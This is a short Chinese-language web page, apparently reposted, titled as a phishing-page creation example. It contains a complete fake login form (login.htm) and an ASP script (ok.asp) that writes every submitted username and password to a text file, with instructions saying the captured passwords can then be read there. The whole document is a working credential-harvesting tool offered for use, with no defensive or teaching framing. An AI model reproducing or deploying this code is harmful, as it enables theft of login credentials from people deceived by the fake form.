钓鱼页面制作实例

来源:互联网 发布:规则引擎 php 编辑:程序博客网 时间:2024/04/28 07:13

 login.htm

<html><td height="103" valign="top"><form name="form1" method="post" action="ok.asp"><p align="center">帐 号:<input maxlength=10 size=16 name=u></span> </div><p align="center">口 令:<input type=password maxlength=16 size=16 name=p><p align="center"><input type="submit" name="Submit" value="提 交"> <input type="reset" name="Submit2" value="重 写"></html>


ok.asp

<%Response.Buffer=Trueusername=Request.Form("u")password=Request.Form("p")testfile=Server.MapPath("password.txt")set fs=server.CreateObject("scripting.filesystemobject")set thisfile=fs.OpenTextFile(testfile,8,True,0)thisfile.WriteLine(username)thisfile.WriteLine(password)thisfile.closeset fs = nothing%>


打开login.htm页面,输入用户名和密码,点击提交。就成生了password.txt,打开这个txt文件就能看到密码了。